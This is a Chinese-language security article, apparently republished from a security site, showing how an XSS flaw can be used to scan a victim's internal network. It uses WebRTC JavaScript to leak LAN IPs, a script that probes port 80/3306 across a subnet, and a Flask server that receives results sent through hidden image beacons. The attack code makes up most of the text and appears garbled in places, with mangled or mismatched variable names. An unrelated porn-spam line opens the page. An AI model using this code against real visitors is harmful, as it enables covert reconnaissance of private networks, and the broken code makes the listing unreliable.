自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

XSS的另一種利用思路

安全 漏洞
安全測(cè)試人員在測(cè)試XSS漏洞的時(shí)候,用得最多的方式是利用XSS釣魚(yú)攻擊、盜取會(huì)話憑證,挾持會(huì)話。當(dāng)然還有很多其他利用方式,但是卻很少涉及內(nèi)網(wǎng)滲透環(huán)節(jié)。本文通過(guò)實(shí)踐介紹利用js進(jìn)行內(nèi)網(wǎng)端口掃描的滲透思路。

前言

安全測(cè)試人員在測(cè)試XSS漏洞的時(shí)候,用得最多的方式是利用XSS釣魚(yú)攻擊、盜取會(huì)話憑證,挾持會(huì)話。當(dāng)然還有很多其他利用方式,但是卻很少涉及內(nèi)網(wǎng)滲透環(huán)節(jié)。換一種思路,XSS還可以做很多意想不到的事,本文通過(guò)實(shí)踐介紹利用js進(jìn)行內(nèi)網(wǎng)端口掃描的滲透思路。

[[226309]]

獲取局域網(wǎng)IP

進(jìn)行內(nèi)網(wǎng)端口掃描首先第一點(diǎn)要獲取內(nèi)網(wǎng)IP,這是最關(guān)鍵的一步,這里有一個(gè)前輩的Demo:

使用的WebRTC技術(shù)獲取當(dāng)前訪問(wèn)者的局域網(wǎng)IP,具體的js實(shí)現(xiàn)如下:

  1. function getlanip(callback){ 
  2.     var ip_dups = {}; 
  3.     var RTCPeerConnection = window.RTCPeerConnection 
  4.         || window.mozRTCPeerConnection 
  5.         || window.webkitRTCPeerConnection; 
  6.     if (!RTCPeerConnection) { 
  7.         var iframe = document.createElement('iframe'); 
  8.         iframe.sandbox = 'allow-same-origin'
  9.         iframe.style.display = 'none'
  10.         document.body.appendChild(iframe); 
  11.         var win = iframe.contentWindow; 
  12.         winwindow.RTCPeerConnection = win.RTCPeerConnection; 
  13.         winwindow.mozRTCPeerConnection = win.mozRTCPeerConnection; 
  14.         winwindow.webkitRTCPeerConnection = win.webkitRTCPeerConnection; 
  15.         RTCPeerConnection = window.RTCPeerConnection 
  16.             || window.mozRTCPeerConnection 
  17.             || window.webkitRTCPeerConnection; 
  18.     } 
  19.     var mediaConstraints = { 
  20.         optional: [{RtpDataChannels: true}] 
  21.     }; 
  22.     var servers = undefined
  23.     if(window.webkitRTCPeerConnection) 
  24.         servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; 
  25.     var pc = new RTCPeerConnection(servers, mediaConstraints); 
  26.     pc.onicecandidate = function(ice){ 
  27.         if(ice.candidate){ 
  28.             var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/ 
  29.             var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; 
  30.  
  31.             if(ip_dups[ip_addr] === undefined) 
  32.                 callback(ip_addr); 
  33.  
  34.             ip_dups[ip_addr] = true;} 
  35.         }; 
  36.     pc.createDataChannel(""); 
  37.     pc.createOffer(function(result){ 
  38.         pc.setLocalDescription(result, function(){}, function(){}); 
  39.         }, function(){}); 
  40.     } 

WebRTC

WebRTC,是網(wǎng)頁(yè)實(shí)時(shí)通信(Web Real-Time Communication)的縮寫(xiě),是一個(gè)支持網(wǎng)頁(yè)瀏覽器進(jìn)行實(shí)時(shí)語(yǔ)音對(duì)話或視頻對(duì)話的技術(shù)。WebRTC 實(shí)現(xiàn)了基于網(wǎng)頁(yè)的視頻會(huì)議,標(biāo)準(zhǔn)是 WHATWG 協(xié)議,目的是通過(guò)瀏覽器提供簡(jiǎn)單的 Javascript 就可以做到實(shí)時(shí)通訊。WebRTC 項(xiàng)目的最終目的主要是讓 Web 開(kāi)發(fā)者能夠基于瀏覽器輕易快捷地開(kāi)發(fā)出豐富的實(shí)時(shí)多媒體應(yīng)用,而無(wú)需下載安裝任何插件,Web 開(kāi)發(fā)者也無(wú)需關(guān)注多媒體的數(shù)字信號(hào)處理過(guò)程,只需編寫(xiě)簡(jiǎn)單的 Javascript 程序即可實(shí)現(xiàn),很多瀏覽器包括Firefox Chrome,360極速瀏覽器都已經(jīng)支持WebRTC, 但是Internet Explorer 和 Safari 尚未支持 WebRTC。

JS端口掃描

有了局域網(wǎng)IP,利用sciprt標(biāo)簽加載js函數(shù)執(zhí)行,然后利用html onload事件結(jié)合img標(biāo)簽當(dāng)然可以這里可以使用其他的比如:iframe標(biāo)簽等,把加載成功的IP,端口信息傳回我們的接收端,這里我用Flask簡(jiǎn)單的寫(xiě)了一個(gè)接收端。

  1. #!/usr/bin/env python3 
  2. #coding:utf-8 
  3.  
  4. from flask import Flask,request 
  5.  
  6. app = Flask(__name__) 
  7.  
  8. @app.route(rule='/'
  9. def index(): 
  10.     args = request.args 
  11.     for k,v in args.items(): 
  12.         print(k,v) 
  13.     return str() 
  14.  
  15. if __name__ == '__main__': 
  16.     app.run(debug=True

下面是一個(gè)簡(jiǎn)單的掃描函數(shù)和數(shù)據(jù)傳回函數(shù)。

  1. //數(shù)據(jù)傳回 
  2. var TagName = document.getElementsByTagName("body")[0]; 
  3. function post_data(ip,port){ 
  4.     var img = document.createElement("img"); 
  5.     img.setAttribute("src","http://127.0.0.1:5000/?ip=" + ip + "&openport=" + port); 
  6.     img.setAttribute("style","display:none") 
  7.     TagName.appendChild(img); 
  8.     } 
  9.  
  10. //簡(jiǎn)單端口掃描 
  11. getlanip(function(ip){ 
  12. //判斷內(nèi)網(wǎng)IP 
  13.     if (ip.match(/^(192.168.|169.254.|10.|172.(1[6-9]|2d|3[01]))/)){ 
  14.         ipip = ip.split("."); 
  15.         ip.pop(); 
  16.         ipip = ip.join("."); 
  17.         for(var i = 1;i<=255;i++){ 
  18.             var script = document.createElement("script"); 
  19.             var ipip_url = ip + "." + i + ":80";//3306 
  20.             script.setAttribute("src","http://" + ip_url); 
  21.             script.setAttribute("onload","post_data('" + ip + "." + i + "','80')");//3306 
  22.             TagName.appendChild(script); 
  23.         } 
  24.     } 
  25.     }); 

隨便一個(gè)html引入js文件,加載效果圖。

在服務(wù)端成功的接收到了開(kāi)放80端口的ip。

當(dāng)然其他端口也是可以的只要支持http協(xié)議訪問(wèn)的比如3306。

探測(cè)到開(kāi)放3306端口的主機(jī),這樣實(shí)現(xiàn)了一個(gè)簡(jiǎn)單的局域網(wǎng)ip端口的功能。

結(jié)語(yǔ)

當(dāng)懷疑某處存在xss漏洞而我們又想知道內(nèi)網(wǎng)具體的ip端口情況時(shí),我們就可以利用這種方式實(shí)現(xiàn)局域網(wǎng)端口探測(cè),有點(diǎn)類似于SSRF,但是通過(guò)XSS也同樣可以實(shí)現(xiàn)。

責(zé)任編輯:趙寧寧 來(lái)源: 安全客
相關(guān)推薦

2013-05-22 15:31:07

AOP的CGlib實(shí)現(xiàn)

2014-09-17 14:37:06

2017-09-19 14:21:37

AI

2023-06-18 23:19:17

ChatGPTPPT方式

2010-07-21 16:23:09

運(yùn)行telnet程序

2011-12-29 21:28:31

Metro UI

2016-03-03 10:29:31

用戶信息改進(jìn)

2016-07-11 16:18:26

互聯(lián)網(wǎng)

2014-01-13 10:36:53

C++錯(cuò)誤

2019-01-02 08:04:29

GAN損失函數(shù)神經(jīng)網(wǎng)絡(luò)

2010-04-09 17:27:47

2013-09-30 10:13:08

IT女程序員

2011-07-21 14:17:15

Ceylon

2010-09-02 09:14:35

CSS浮動(dòng)

2015-07-28 13:36:04

2009-06-17 09:05:05

Linux隱藏網(wǎng)絡(luò)鏈接命令

2013-10-21 15:11:15

OrmsqlOrm設(shè)計(jì)

2009-06-17 12:01:21

Linux

2010-06-09 16:17:20

TCP IP協(xié)議網(wǎng)絡(luò)故

2013-09-12 14:26:47

百度云網(wǎng)盤(pán)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)